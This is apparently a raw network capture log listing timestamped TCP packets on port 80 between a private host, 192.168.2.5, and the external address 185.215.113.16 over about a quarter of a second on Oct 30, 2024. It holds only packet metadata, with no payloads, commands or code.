Oct 30, 2024 21:56:14.454998016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455010891 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455040932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455607891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455620050 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455631971 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455642939 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455663919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455663919 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455672026 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455674887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455688000 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455698013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455703020 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455733061 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455765009 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455776930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455786943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455800056 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455810070 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455811977 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455832005 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455848932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455918074 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455930948 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.455962896 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.455976963 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.481884956 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481895924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481914997 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481928110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481939077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481950998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481961966 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481973886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.481985092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482003927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.482009888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482028008 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482042074 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482053041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482065916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482070923 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.482076883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482089043 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482100010 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.482105017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482116938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482121944 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.482127905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482142925 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.482142925 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.482162952 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.482187986 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.483716011 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.483727932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.483741045 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.483772039 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.483805895 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.483890057 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.483938932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.483967066 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.483985901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.483999014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484009981 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484013081 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484023094 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484034061 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484062910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484105110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484117985 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484127998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484157085 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484173059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484205008 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484217882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484230042 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484245062 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484253883 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484288931 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484321117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484333992 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484344959 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484357119 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484369040 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.484371901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484391928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.484412909 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520457983 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520535946 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520549059 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520556927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520562887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520581961 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520611048 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520781040 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520792961 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520817041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520828962 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520833969 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520840883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520855904 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520862103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520874977 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520889997 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520917892 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.520948887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520960093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.520999908 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.565260887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.565289974 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.565304041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.565327883 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.565354109 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.565421104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.565433979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.565468073 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.565493107 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571520090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571533918 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571546078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571574926 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571604967 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571630001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571651936 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571665049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571674109 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571692944 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571706057 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571727037 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571738005 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571783066 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571887970 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571898937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571908951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571922064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571934938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571935892 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571948051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571954966 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571960926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.571964979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.571997881 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572026968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572040081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572051048 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572062969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572074890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572081089 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572087049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572098017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572103024 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572113037 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572124958 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572138071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572144985 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572150946 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572163105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572170973 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572175026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572185993 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572199106 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572207928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572210073 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572222948 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572233915 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572238922 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572244883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572251081 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572257042 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572269917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572283030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572287083 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572294950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.572315931 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.572338104 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.573914051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.573926926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.573939085 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.573971033 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.573985100 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574115992 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574127913 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574167967 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574202061 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574250937 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574254990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574270010 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574295998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574306965 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574310064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574338913 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574364901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574553013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574603081 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574609995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574623108 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574665070 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574693918 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574707031 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574718952 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574732065 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574748039 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574767113 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574800014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574811935 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574825048 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574836969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574840069 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574850082 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574850082 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574862957 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574873924 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574875116 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574899912 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574917078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574918985 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574949026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574956894 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.574960947 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.574987888 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.575001001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.575128078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.575139999 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.575151920 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.575175047 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.575203896 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599015951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599092007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599092007 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599104881 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599117994 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599139929 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599142075 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599154949 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599160910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599165916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599178076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599198103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599199057 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599215031 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599224091 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599226952 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599236012 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599246979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599250078 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599261045 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599262953 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599296093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599296093 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599308968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599328041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599334002 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599340916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599350929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599361897 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599381924 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599406004 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599522114 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599533081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.599565029 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.599579096 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604404926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604428053 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604440928 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604480028 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604499102 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604542017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604553938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604566097 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604573011 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604584932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604593992 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604599953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604619980 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604631901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604631901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604645967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604660034 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604679108 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604702950 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604779959 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604792118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604803085 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604818106 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604830027 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604831934 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604846001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.604866028 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.604888916 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.640446901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640460014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640470982 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640559912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640590906 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640602112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640733004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640741110 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.640741110 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.640744925 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640757084 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640768051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640779972 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640784979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.640789986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640809059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.640844107 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.640975952 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.640991926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.641002893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.641026974 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.641041994 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.684961081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.684987068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.684998989 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685072899 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685085058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685111046 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685120106 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685120106 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685122013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685133934 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685148001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685158968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685193062 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685370922 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685417891 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685527086 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685576916 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685703039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685714960 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685726881 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685755968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685782909 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685791016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685802937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.685837030 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.685851097 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.689337969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.689354897 CET	80	50196	185.215.113.16	192.168.2.5
